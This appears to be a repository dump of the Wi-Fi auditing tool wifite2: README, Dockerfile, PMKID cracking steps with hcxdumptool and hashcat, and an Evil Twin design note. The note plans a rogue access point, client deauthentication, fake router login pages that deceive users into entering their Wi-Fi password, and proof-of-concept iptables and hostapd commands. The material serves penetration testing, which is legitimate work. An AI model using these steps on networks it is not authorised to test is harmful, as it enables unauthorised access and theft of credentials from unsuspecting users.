├── .gitignore ├── Dockerfile ├── EVILTWIN.md ├── LICENSE ├── MANIFEST.in ├── PMKID.md ├── README.md ├── TODO.md ├── Wifite.py ├── bin └── wifite ├── runtests.sh ├── setup.cfg ├── setup.py ├── tests ├── __init__.py ├── files │ ├── airmon.output │ ├── airodump-weird-ssids.csv │ ├── airodump.csv │ ├── contains_wps_network.cap │ ├── handshake_exists.cap │ ├── handshake_exists.cap.stripped.tshark │ ├── handshake_has_1234.cap │ ├── handshake_not_exists.cap │ ├── wep-crackable.ivs │ └── wep-uncrackable.ivs ├── test_Airmon.py ├── test_Airodump.py ├── test_Handshake.py └── test_Target.py ├── wifite ├── __init__.py ├── __main__.py ├── args.py ├── attack │ ├── __init__.py │ ├── all.py │ ├── pmkid.py │ ├── wep.py │ ├── wpa.py │ └── wps.py ├── config.py ├── model │ ├── __init__.py │ ├── attack.py │ ├── client.py │ ├── handshake.py │ ├── pmkid_result.py │ ├── result.py │ ├── target.py │ ├── wep_result.py │ ├── wpa_result.py │ └── wps_result.py ├── tools │ ├── __init__.py │ ├── aircrack.py │ ├── aireplay.py │ ├── airmon.py │ ├── airodump.py │ ├── bully.py │ ├── cowpatty.py │ ├── dependency.py │ ├── hashcat.py │ ├── ifconfig.py │ ├── iwconfig.py │ ├── john.py │ ├── macchanger.py │ ├── pyrit.py │ ├── reaver.py │ ├── tshark.py │ └── wash.py └── util │ ├── __init__.py │ ├── color.py │ ├── crack.py │ ├── input.py │ ├── process.py │ ├── scanner.py │ └── timer.py └── wordlist-top4800-probable.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | *.pyc 3 | py/hs/ 4 | hs/ 5 | *.bak 6 | .idea/ 7 | cracked.txt 8 | MANIFEST 9 | dist/ 10 | build/ 11 | files.txt 12 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2.7.14-jessie 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | ENV HASHCAT_VERSION hashcat-3.6.0 5 | 6 | # Install requirements 7 | RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list 8 | RUN apt-get update && apt-get upgrade -y 9 | RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y 10 | RUN apt-get build-dep aircrack-ng -y 11 | 12 | 13 | 14 | #Install Aircrack from Source 15 | RUN wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz 16 | RUN tar xzvf aircrack-ng-1.2-rc4.tar.gz 17 | WORKDIR /aircrack-ng-1.2-rc4/ 18 | RUN make 19 | RUN make install 20 | RUN airodump-ng-oui-update 21 | 22 | # Workdir / 23 | WORKDIR / 24 | 25 | # Install wps-pixie 26 | RUN git clone https://github.com/wiire/pixiewps 27 | WORKDIR /pixiewps/ 28 | RUN make 29 | RUN make install 30 | 31 | 32 | # Workdir / 33 | WORKDIR / 34 | 35 | 36 | # Install bully 37 | RUN git clone https://github.com/aanarchyy/bully 38 | WORKDIR /bully/src/ 39 | RUN make 40 | RUN make install 41 | 42 | 43 | 44 | # Workdir / 45 | WORKDIR / 46 | 47 | #Install and configure hashcat 48 | RUN mkdir hashcat && \ 49 | cd hashcat && \ 50 | wget https://hashcat.net/files_legacy/${HASHCAT_VERSION}.7z && \ 51 | 7zr e ${HASHCAT_VERSION}.7z 52 | 53 | 54 | #Add link for binary 55 | RUN ln -s /hashcat/hashcat-cli64.bin /usr/bin/hashcat 56 | 57 | 58 | # Install reaver 59 | RUN git clone https://github.com/gabrielrcouto/reaver-wps.git 60 | WORKDIR /reaver-wps/src/ 61 | RUN ./configure 62 | RUN make 63 | RUN make install 64 | 65 | # Workdir / 66 | WORKDIR / 67 | 68 | # Install cowpatty 69 | RUN git clone https://github.com/roobixx/cowpatty.git 70 | WORKDIR /cowpatty/ 71 | RUN make 72 | 73 | # Workdir / 74 | WORKDIR / 75 | 76 | # Install wifite 77 | RUN git clone https://github.com/derv82/wifite2.git 78 | WORKDIR /wifite2/ 79 | ENTRYPOINT ["/bin/bash"] 80 | 81 | 82 | -------------------------------------------------------------------------------- /EVILTWIN.md: -------------------------------------------------------------------------------- 1 | An idea from Sandman: Include "Evil Twin" attack in Wifite. 2 | 3 | This page tracks the requirements for such a feature. 4 | 5 | Evil Twin 6 | ========= 7 | 8 | [Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack. 9 | 10 | The attack requires multiple wireless cards: 11 | 12 | 1. Hosts the twin. 13 | 2. Deauthenticates clients. 14 | 15 | As clients connect to the Evil Twin, they are redirected to a fake router login page. 16 | 17 | Clients enter the password to the target AP. The Evil Twin then: 18 | 19 | 1. Captures the Wifi password, 20 | 2. Verifies Wifi password against the target AP, 21 | 3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP. 22 | 4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1. 23 | 24 | Below are all of the requirements/components that Wifite would need for this feature. 25 | 26 | 27 | DHCP 28 | ==== 29 | We need to auto-assign IP addresses to clients as they connect (via DHCP?). 30 | 31 | 32 | DNS Redirects 33 | ============= 34 | All DNS requests need to redirect to the webserver: 35 | 36 | 1. So we clients are encouraged to login. 37 | 2. So we can intercept health-checks by Apple/Google 38 | 39 | 40 | Rogue AP, Server IP Address, etc 41 | ================================ 42 | Probably a few ways to do this in Linux; should use the most reliable & supported method. 43 | 44 | Mainly we need to: 45 | 46 | 1. Spin up the Webserver on some port (8000) 47 | 2. Start the Rogue AP 48 | 3. Assign localhost on port 8000 to some subnet IP (192.168.1.254) 49 | 4. Start DNS-redirecting all hostnames to 192.168.1.254. 50 | 5. Start DHCP to auto-assign IPs to incoming clients. 51 | 6. Start deauthing clients of the real AP. 52 | 53 | I think steps 3-5 can be applied to a specific wireless card (interface). 54 | 55 | * TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc. 56 | * Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64) 57 | * Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) 58 | * Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77) 59 | * TODO: Should the Evil Twin spoof the real AP's hardware MAC address? 60 | * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)). 61 | 62 | 63 | ROGUE AP 64 | ======== 65 | Gleaned this info from: 66 | 67 | * ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack 68 | * ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity 69 | * ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py) 70 | 71 | 72 | HOSTAPD 73 | ------- 74 | * Starts access point. 75 | * Not included in Kali by-default. 76 | * Installable via `apt-get install hostapd`. 77 | * [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd) 78 | 79 | Config file format (e.g. `~/hostapd.conf`): 80 | 81 | ``` 82 | driver=nl80211 # 'nl80211' appears in all hostapd tutorials I've found. 83 | ssid=$EVIL_SSID # SSID/name of Evil Twin (should match target's) 84 | hw_mode=$BAND # Wifi Band, e.g. "g" or "g+n" 85 | channel=$CHANNEL # Numeric, e.g. "6' 86 | ``` 87 | 88 | Run: 89 | 90 | ``` 91 | hostapd ~/hostapd.conf -i wlan0 92 | ``` 93 | 94 | 95 | DNSMASQ 96 | ------- 97 | 98 | * Included in Kali. 99 | * Installable via `apt-get install dnsmasq` 100 | * Handles DNS and DHCP. 101 | * [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html) 102 | 103 | Config file format (e.g. `~/dnsmasq.conf`): 104 | 105 | ``` 106 | interface=wlan0 107 | dhcp-range=10.0.0.10,10.0.0.250,12h 108 | dhcp-option=3,10.0.0.1 109 | dhcp-option=6,10.0.0.1 110 | #no-resolv 111 | server=8.8.8.8 112 | log-queries 113 | log-dhcp 114 | 115 | # Redirect all requests (# is wildcard) to IP of evil web server: 116 | # TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports... 117 | #address=/#/192.168.1.254 118 | ``` 119 | 120 | "DNS Entries" file format (`~/dns_entries`): 121 | 122 | ``` 123 | [DNS Name] [IP Address] 124 | # TODO: Are wildcards are supported? 125 | * 192.168.1.254 # IP of web server 126 | ``` 127 | 128 | Run: 129 | 130 | ``` 131 | dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries 132 | ``` 133 | 134 | IPTABLES 135 | -------- 136 | From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263) 137 | 138 | > *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi* 139 | > `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80` 140 | 141 | And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300) 142 | 143 | > *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:* 144 | > `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80` 145 | > `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80` 146 | 147 | TODO: 148 | 149 | * What about HTTPS traffic (port 443)? 150 | * We want to avoid browser warnings (scary in Chrome & Firefox). 151 | * Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue. 152 | * sslstrip may get around this... 153 | 154 | 155 | DEAUTHING 156 | ========= 157 | While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin. 158 | 159 | Listening 160 | --------- 161 | We need to listen for more clients and automatically start deauthing new clients as they appear. 162 | 163 | This might be supported by existing tools... 164 | 165 | MDK 166 | --- 167 | Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`. 168 | 169 | I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both. 170 | 171 | TODO: Require MDK if it is miles-ahead of `aireplay-ng` 172 | TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs. 173 | 174 | 175 | Website 176 | ======= 177 | 178 | Router Login Pages 179 | ------------------ 180 | These are different for every vendor. 181 | 182 | Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages. 183 | 184 | We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors. 185 | 186 | We also need a "generic" login page in case we don't have the page for a vendor. 187 | 188 | 1. Web server to host HTML, images, fonts, and CSS that the vendor uses. 189 | 3. Javascript to send the password to the webserver 190 | 191 | 192 | Language Support 193 | ---------------- 194 | Note: Users should choose the language to host; they know better than any script detection. 195 | 196 | Each router page will have a warning message telling the client they need to enter the Wifi password: 197 | * "Password is required after a router firmware update" 198 | 199 | The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else. 200 | 201 | Then only the warning message needs to be templatized by-language (we only need one sentence per language). 202 | 203 | That would avoid the need for separate "sites" for each Vendor *and* language. 204 | 205 | But we probably need other labels to be translated as well: 206 | 207 | * Title of page ("Router Login Page") 208 | * "Password:" 209 | * "Re-enter Password:" 210 | * "Reconnect" or "Login" 211 | 212 | ...So 5 sentences per language. Not bad. 213 | 214 | The web server could send a Javascript file containing the language variable values: 215 | 216 | ```javascript 217 | document.title = 'Router Login'; 218 | document.querySelector('#warn').textContent('You need to login after router firmware upgrade.'); 219 | document.querySelector('#pass').textContent('Password:'); 220 | // ... 221 | ``` 222 | 223 | 224 | One HTML File 225 | ------------- 226 | We can compact everything into a single HTML file: 227 | 228 | 1. Inline CSS 229 | 2. Inline images (base64 image/jpg) 230 | 3. Some placeholders for the warning message, password label, login button. 231 | 232 | This would avoid the "lots of folders" problem; one folder for all .html files. 233 | 234 | E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`. 235 | 236 | 237 | AJAX Password Submission 238 | ------------------------ 239 | The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`). 240 | 241 | Easy to do in Javascript (via a simple `
` or even `XMLHttpRequest`). 242 | 243 | 244 | Webserver 245 | ========= 246 | The websites served by the webserver is dynamic and depends on numerous variables. 247 | 248 | We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track. 249 | 250 | 251 | Spoofing Health Checks 252 | ---------------------- 253 | Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage. 254 | 255 | We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online". 256 | 257 | Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*). 258 | 259 | Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698). 260 | 261 | Requirements: 262 | 263 | * Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc). 264 | 265 | TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices. 266 | 267 | 268 | HTTPS 269 | ----- 270 | What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP? 271 | 272 | 273 | Spoofing Router Login Pages 274 | --------------------------- 275 | We can detect the router vendor based on the MAC address. 276 | 277 | If we have a fake login page for that vendor, we serve that. 278 | 279 | Otherwise we serve a generic login page. 280 | 281 | TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`? 282 | 283 | 284 | Password Capture 285 | ---------------- 286 | Webserver needs to know when a client enters a password. 287 | 288 | This can be accomplished via a simple CGI endpoint or Python script. 289 | 290 | E.g. `login.cgi` which reads `password1` and `password2` from the query string. 291 | 292 | 293 | Password Validation 294 | ------------------- 295 | The Webserver needs to know when the password is valid. 296 | 297 | This requires connecting to the target AP on an unused wireless card: 298 | 299 | 1. First card is hosting the webserver. It would be awkward if that went down. 300 | 2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP. 301 | 3. ...A third wifi card may make this cleaner. 302 | 303 | TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like. 304 | TODO: Choose the fastest & most-relaiable method for verifying wifi paswords 305 | 306 | 307 | Evil Webserver & Deauth Communication 308 | ------------------------------------- 309 | The access point hosting the Evil Twin needs to communicate with the Deauth mechanism: 310 | 311 | 1. Which BSSIDs to point to the Evil Twin, 312 | 2. Which BSSIDs to point to the real AP. 313 | 314 | Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver. 315 | 316 | So the webserver would need to maintain: 317 | 318 | 1. List of BSSIDs to deauth from real AP (so they join Evil Twin), 319 | 2. List of BSSIDs to deauth from Evil Twin (so they join real AP), 320 | 3. Background process which is deauthing the above BSSIDs on a separate wireless card. 321 | 322 | I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password"). 323 | 324 | TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads. 325 | TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?) 326 | 327 | 328 | Success & Cleanup 329 | ----------------- 330 | When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message). 331 | 332 | During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP. 333 | 334 | This deauthing should continue until all clients are deauthenticated from the Evil Twin. 335 | 336 | Then the script can be stopped. 337 | 338 | 339 | Proof of Concept 340 | ================ 341 | 342 | Start AP and capture all port-80 traffic: 343 | 344 | ``` 345 | ifconfig wlan0 10.0.0.1/24 up 346 | 347 | # start dnsmasq for dhcp & dns resolution (runs in background) 348 | killall dnsmasq 349 | dnsmasq -C dnsmasq.conf 350 | 351 | # reroute all port-80 traffic to our machine 352 | iptables -N internet -t mangle 353 | iptables -t mangle -A PREROUTING -j internet 354 | iptables -t mangle -A internet -j MARK --set-mark 99 355 | iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1 356 | echo "1" > /proc/sys/net/ipv4/ip_forward 357 | iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT 358 | iptables -A FORWARD -m mark --mark 99 -j REJECT 359 | iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT 360 | iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 361 | 362 | # start wifi access point (new terminal) 363 | killall hostapd 364 | hostapd ./hostapd.conf -i wlan0 365 | 366 | # start webserver on port 80 (new terminal) 367 | python -m SimpleHTTPServer 80 368 | ``` 369 | 370 | Cleanup: 371 | 372 | ``` 373 | # stop processes 374 | # ctrl+c hostapd 375 | # ctrl+c python simple http server 376 | killall dnsmasq 377 | 378 | # reset iptables 379 | iptables -F 380 | iptables -X 381 | iptables -t nat -F 382 | iptables -t nat -X 383 | iptables -t mangle -F 384 | iptables -t mangle -X 385 | ``` 386 | 387 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.md 2 | include wordlist-top4800-probable.txt 3 | -------------------------------------------------------------------------------- /PMKID.md: -------------------------------------------------------------------------------- 1 | ### PMKID Attack 2 | 3 | See https://hashcat.net/forum/thread-7717.html 4 | 5 | ### Steps 6 | 7 | 1. Start `hcxdumptool` (daemon) 8 | * `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1` 9 | * Should also use `-c `, `--filterlist` and `--filtermode` to target a specific client 10 | * Could be a new attack type: `wifite.attack.pmkid` 11 | 2. Detect when PMKID is found. 12 | * `hcxpcaptool -z pmkid.16800 pmkid.pcapng` 13 | * Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex). 14 | 3. Save `.16800` file (to `./hs/`? or `./pmkids/`?) 15 | * New result type: `pmkid_result` 16 | * Add entry to `cracked.txt` 17 | 4. Run crack attack using hashcat: 18 | * `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt` 19 | 20 | ### Problems 21 | 22 | * Requires latest hashcat to be installed. This might be in a different directory. 23 | * Use can specify path to hashcat? Yeck... 24 | * % hashcat -h | grep 16800 25 | * 16800 | WPA-PMKID-PBKDF2 26 | * If target can't be attacked... we need to detect this failure mode. 27 | * Might need to scrape `hcxdumptool`'s output 28 | * Look at `pmkids()` func in .bashrc 29 | * hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null 30 | * Check OUTPUT.16800 for the ESSID. 31 | * Wireless adapter support is minimal, apparently. 32 | * hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily 33 | 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Wifite 2 | ====== 3 | 4 | This repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks. 5 | 6 | Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! 7 | 8 | Wifite is designed to use all known methods for retrieving the password of a wireless access point (router). These methods include: 9 | 1. WPS: The [Offline Pixie-Dust attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack) 10 | 1. WPS: The [Online Brute-Force PIN attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Online_brute-force_attack) 11 | 2. WPA: The [WPA Handshake Capture](https://hashcat.net/forum/thread-7717.html) + offline crack. 12 | 3. WPA: The [PMKID Hash Capture](https://hashcat.net/forum/thread-7717.html) + offline crack. 13 | 4. WEP: Various known attacks against WEP, including *fragmentation*, *chop-chop*, *aireplay*, etc. 14 | 15 | Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password. 16 | 17 | Supported Operating Systems 18 | --------------------------- 19 | Wifite is designed specifically for the latest version of [**Kali** Linux](https://www.kali.org/). [ParrotSec](https://www.parrotsec.org/) is also supported. 20 | 21 | Other pen-testing distributions (such as BackBox or Ubuntu) have outdated versions of the tools used by Wifite. Do not expect support unless you are using the latest versions of the *Required Tools*, and also [patched wireless drivers that support injection](). 22 | 23 | Required Tools 24 | -------------- 25 | First and foremost, you will need a wireless card capable of "Monitor Mode" and packet injection (see [this tutorial for checking if your wireless card is compatible](http://www.aircrack-ng.org/doku.php?id=compatible_cards) and also [this guide](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)). There are many cheap wireless cards that plug into USB available from online stores. 26 | 27 | Second, only the latest versions of these programs are supported and must be installed for Wifite to work properly: 28 | 29 | **Required:** 30 | 31 | * `python`: Wifite is compatible with both `python2` and `python3`. 32 | * [`iwconfig`](https://wiki.debian.org/iwconfig): For identifying wireless devices already in Monitor Mode. 33 | * [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig): For starting/stopping wireless devices. 34 | * [`Aircrack-ng`](http://aircrack-ng.org/) suite, includes: 35 | * [`airmon-ng`](https://tools.kali.org/wireless-attacks/airmon-ng): For enumerating and enabling Monitor Mode on wireless devices. 36 | * [`aircrack-ng`](https://tools.kali.org/wireless-attacks/aircrack-ng): For cracking WEP .cap files and WPA handshake captures. 37 | * [`aireplay-ng`](https://tools.kali.org/wireless-attacks/aireplay-ng): For deauthing access points, replaying capture files, various WEP attacks. 38 | * [`airodump-ng`](https://tools.kali.org/wireless-attacks/airodump-ng): For target scanning & capture file generation. 39 | * [`packetforge-ng`](https://tools.kali.org/wireless-attacks/packetforge-ng): For forging capture files. 40 | 41 | **Optional, but Recommended:** 42 | 43 | * [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html): For detecting WPS networks and inspecting handshake capture files. 44 | * [`reaver`](https://github.com/t6x/reaver-wps-fork-t6x): For WPS Pixie-Dust & brute-force attacks. 45 | * Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found. 46 | * [`bully`](https://github.com/aanarchyy/bully): For WPS Pixie-Dust & brute-force attacks. 47 | * Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver. 48 | * Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN. 49 | * [`coWPAtty`](https://tools.kali.org/wireless-attacks/cowpatty): For detecting handshake captures. 50 | * [`pyrit`](https://github.com/JPaulMora/Pyrit): For detecting handshake captures. 51 | * [`hashcat`](https://hashcat.net/): For cracking PMKID hashes. 52 | * [`hcxdumptool`](https://github.com/ZerBea/hcxdumptool): For capturing PMKID hashes. 53 | * [`hcxpcaptool`](https://github.com/ZerBea/hcxtools): For converting PMKID packet captures into `hashcat`'s format. 54 | 55 | 56 | Run Wifite 57 | ---------- 58 | ``` 59 | git clone https://github.com/derv82/wifite2.git 60 | cd wifite2 61 | sudo ./Wifite.py 62 | ``` 63 | 64 | Install Wifite 65 | -------------- 66 | To install onto your computer (so you can just run `wifite` from any terminal), run: 67 | 68 | ```bash 69 | sudo python setup.py install 70 | ``` 71 | 72 | This will install `wifite` to `/usr/sbin/wifite` which should be in your terminal path. 73 | 74 | **Note:** Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files: 75 | 76 | ```bash 77 | sudo python setup.py install --record files.txt \ 78 | && cat files.txt | xargs sudo rm \ 79 | && rm -f files.txt 80 | ``` 81 | 82 | Brief Feature List 83 | ------------------ 84 | * [PMKID hash capture](https://hashcat.net/forum/thread-7717.html) (enabled by-default, force with: `--pmkid`) 85 | * WPS Offline Brute-Force Attack aka "Pixie-Dust". (enabled by-default, force with: `--wps-only --pixie`) 86 | * WPS Online Brute-Force Attack aka "PIN attack". (enabled by-default, force with: `--wps-only --no-pixie`) 87 | * WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture (enabled by-default, force with: `--no-wps`) 88 | * Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available) 89 | * Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte) 90 | * Automatically decloaks hidden access points while scanning or attacking. 91 | * Note: Only works when channel is fixed. Use `-c ` 92 | * Disable this using `--no-deauths` 93 | * 5Ghz support for some wireless cards (via `-5` switch). 94 | * Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`) 95 | * Stores cracked passwords and handshakes to the current directory (`--cracked`) 96 | * Includes information about the cracked access point (Name, BSSID, Date, etc). 97 | * Easy to try to crack handshakes or PMKID hashes against a wordlist (`--crack`) 98 | 99 | What's new? 100 | ----------- 101 | Comparing this repo to the "old wifite" @ https://github.com/derv82/wifite 102 | 103 | * **Less bugs** 104 | * Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this). 105 | * No longer "one monolithic script". Has working unit tests. Pull requests are less-painful! 106 | * **Speed** 107 | * Target access points are refreshed every second instead of every 5 seconds. 108 | * **Accuracy** 109 | * Displays realtime Power level of currently-attacked target. 110 | * Displays more information during an attack (e.g. % during WEP chopchop attacks, Pixie-Dust step index, etc) 111 | * **Educational** 112 | * The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands. 113 | * This can help debug why Wifite is not working for you. Or so you can learn how these tools are used. 114 | * More-actively developed. 115 | * Python 3 support. 116 | * Sweet new ASCII banner. 117 | 118 | What's gone? 119 | ------------ 120 | * Some command-line arguments (`--wept`, `--wpst`, and other confusing switches). 121 | * You can still access some of these obscure options, try `wifite -h -v` 122 | 123 | What's not new? 124 | --------------- 125 | * (Mostly) Backwards compatible with the original `wifite`'s arguments. 126 | * Same text-based interface everyone knows and loves. 127 | 128 | Screenshots 129 | ----------- 130 | Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then fetching WPA key using `bully`: 131 | ![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/Q5KSDbg.gif) 132 | 133 | ------------- 134 | 135 | Cracking WPA key using PMKID attack: 136 | ![PMKID attack](https://i.imgur.com/CR8oOp0.gif) 137 | 138 | ------------- 139 | 140 | Decloaking & cracking a hidden access point (via the WPA Handshake attack): 141 | ![Decloaking and Cracking a hidden access point](https://i.imgur.com/F6VPhbm.gif) 142 | 143 | ------------- 144 | 145 | Cracking a weak WEP password (using the WEP Replay attack): 146 | ![Cracking a weak WEP password](https://i.imgur.com/jP72rVo.gif) 147 | 148 | ------------- 149 | 150 | Cracking a pre-captured handshake using John The Ripper (via the `--crack` option): 151 | ![--crack option](https://i.imgur.com/iHcfCjp.gif) 152 | -------------------------------------------------------------------------------- /TODO.md: -------------------------------------------------------------------------------- 1 | # TODO 2 | 3 | This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wifite3") 4 | 5 | ------------------------------------------------------ 6 | 7 | ### Better Dependency Handling 8 | I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs. 9 | 10 | When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well. 11 | 12 | The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc). 13 | 14 | Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this. 15 | 16 | Requirements: 17 | 18 | 1. A base *Dependency* class 19 | * `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()` 20 | 2. Update all dependencies to inherit *Dependency* 21 | * Override abstract methods 22 | 3. Dependency-checker to run at Wifite startup. 23 | * Check if all required dependencies exists. 24 | * If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning. 25 | * If optional deps are missing, suggest `--install` without prompting. 26 | * Otherwise continue silently. 27 | 28 | ------------------------------------------------------ 29 | 30 | ### Support Other Distributions (not just Kali x86/64) 31 | 32 | Off the top of my head: 33 | 34 | * Raspberry Pi (or any Debian distro) 35 | * Raspberry Pi + Kali (?) 36 | * Kali Nethunter 37 | * Various other distributions (backbox, pentoo, blackarch, etc) 38 | 39 | Deprecation of "core" programs: 40 | 41 | * `iwconfig` is deprecated in favor of `iw` 42 | * `ifconfig` is deprecated in favor of `ip` 43 | 44 | Versioning problems: 45 | 46 | * Pixiewps output differs depending on version 47 | * Likewise for reaver & bully 48 | * Reaver and bully args have changed significantly over the years (added/removed/required) 49 | * airodump-ng --write-interval=1 doesn't work on older versions 50 | * Same with --wps and a few other options :( 51 | * airmon-ng output differs, wifite sees "phy0" instead of the interface name. 52 | 53 | Misc problems: 54 | 55 | * Some people have problems with multiple wifi cards plugged in 56 | * Solution: User prompt when no devices are in monitor mode (ask first). 57 | * Some people want wifite to kill network manager, others don't. 58 | * Solution: User prompt to kill processes 59 | * Some people need --ignore-negative-one on some wifi cards. 60 | 61 | ------------------------------------------------------ 62 | 63 | ### Command-line Arguments 64 | 65 | Wifite is a 'Spray and Pray', 'Big Red Button' script. Wifite should not provide obscure options that only advanced users can understand. Advanced users can simply use Wifite's dependencies directly. 66 | 67 | -------------------------------- 68 | 69 | Every option in Wifite's should either: 70 | 71 | 1. Significantly affect how Wifite behaves (e.g. 